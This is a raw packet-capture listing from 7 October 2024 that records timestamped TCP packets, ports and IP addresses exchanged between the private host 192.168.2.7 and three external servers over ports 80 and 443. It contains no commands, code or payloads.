Oct 7, 2024 19:33:24.885880947 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.885915995 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885926962 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885936975 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885947943 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.885956049 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.885966063 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.885987043 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886071920 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886081934 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886090994 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886101961 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886104107 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886111021 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886126041 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886132002 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886140108 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886147022 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886152029 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886153936 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886176109 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886187077 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886195898 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886212111 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886214972 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886228085 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886234045 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886240005 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886246920 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886250019 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886260033 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886271000 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886271954 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886281967 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886291981 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886296988 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886306047 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886308908 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886322021 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886329889 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886331081 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886351109 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886358976 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886368990 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886395931 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886396885 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886405945 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886428118 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886468887 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886487007 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886491060 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886497021 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886497021 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886507988 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886518955 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886521101 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886540890 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886543036 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886549950 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886559963 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886565924 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886570930 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886590958 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886607885 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886717081 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886733055 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886744022 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.886754036 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886770964 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.886785984 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.921686888 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.921709061 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.921725035 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.921739101 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.921741962 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.921755075 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.921766996 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.921798944 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.922210932 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.922260046 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.922409058 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.922456026 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966753006 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966790915 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966811895 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966814995 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966825962 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966833115 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966850042 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966850042 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966871023 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966871977 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966893911 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966900110 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966901064 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966912985 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966927052 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966933012 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966939926 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966945887 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966954947 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966959953 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966974020 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966976881 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.966994047 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.966996908 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967015028 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967020035 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967032909 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967036009 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967046976 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967055082 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967061996 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967067957 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967082977 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967097044 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967097044 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967113018 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967134953 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967140913 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967143059 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967158079 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967170954 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967175961 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967186928 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967195034 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967202902 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967206955 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967221975 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967230082 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967241049 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967245102 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967257977 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967266083 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967272997 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967278957 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967286110 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967293024 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967300892 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967303991 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967314959 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967323065 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967329025 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967338085 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967345953 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967364073 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967365980 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967394114 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967401028 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967407942 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967432022 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967432976 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967439890 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967447042 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967461109 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967468977 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967473984 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967477083 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967489004 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967495918 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967509031 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967519999 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967520952 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967535973 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967549086 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967552900 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967564106 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967571974 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967580080 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967597008 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967633009 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967670918 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967673063 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967684031 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967704058 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967705965 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967716932 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967726946 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967740059 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967744112 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967753887 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967761993 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967768908 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967771053 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967782021 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967791080 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967797995 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967814922 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967828989 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967844963 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967859983 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967860937 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967879057 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967890024 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967890024 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967905045 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967917919 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967924118 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967932940 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967947006 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967947960 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967957973 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967961073 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.967971087 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967983961 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.967987061 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968004942 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968005896 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968019962 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968025923 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968034029 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968041897 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968048096 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968055010 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968063116 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968063116 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968084097 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968091011 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968106985 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968127966 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968142033 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968147993 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968156099 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968158960 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968169928 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968178034 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968183041 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968188047 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968199968 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968216896 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968221903 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968238115 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968251944 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968251944 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968267918 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968271971 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968280077 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968293905 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968305111 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968317032 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968331099 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968333006 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968346119 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968359947 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968374014 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968380928 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968380928 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968381882 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968389988 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968393087 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968413115 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968420029 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968455076 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968470097 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968485117 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968491077 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968502998 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968504906 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968523026 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968535900 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968542099 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968554974 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968586922 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968595028 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968602896 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968615055 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968624115 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968636036 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968641996 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968645096 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968652964 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968653917 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968668938 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.968677044 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968693972 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.968709946 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:25.085342884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:25.090336084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:25.102711916 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.105350971 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.105391026 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.105758905 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.105766058 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201359987 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201381922 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201450109 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.201482058 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201522112 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.201633930 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.201644897 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201663017 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.201812983 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201841116 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.201874971 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.203737974 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.203766108 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.203819990 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.203921080 CEST	49801	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.203927040 CEST	443	49801	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.274784088 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.275923014 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.275934935 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.276288986 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.276294947 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.378612995 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.380518913 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.380542994 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.380883932 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.380888939 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.385123014 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.385626078 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.385651112 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.385687113 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.385696888 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.385747910 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.385813951 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.394826889 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.394835949 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.395200014 CEST	49800	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.395204067 CEST	443	49800	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.397049904 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.397066116 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.397079945 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.397087097 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.414347887 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.419868946 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.419886112 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.420393944 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.420399904 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.427464962 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.427498102 CEST	443	49802	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:25.427556992 CEST	49802	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:25.427668095 CEST	49802	443	192.168.2.7	13.107.246.45
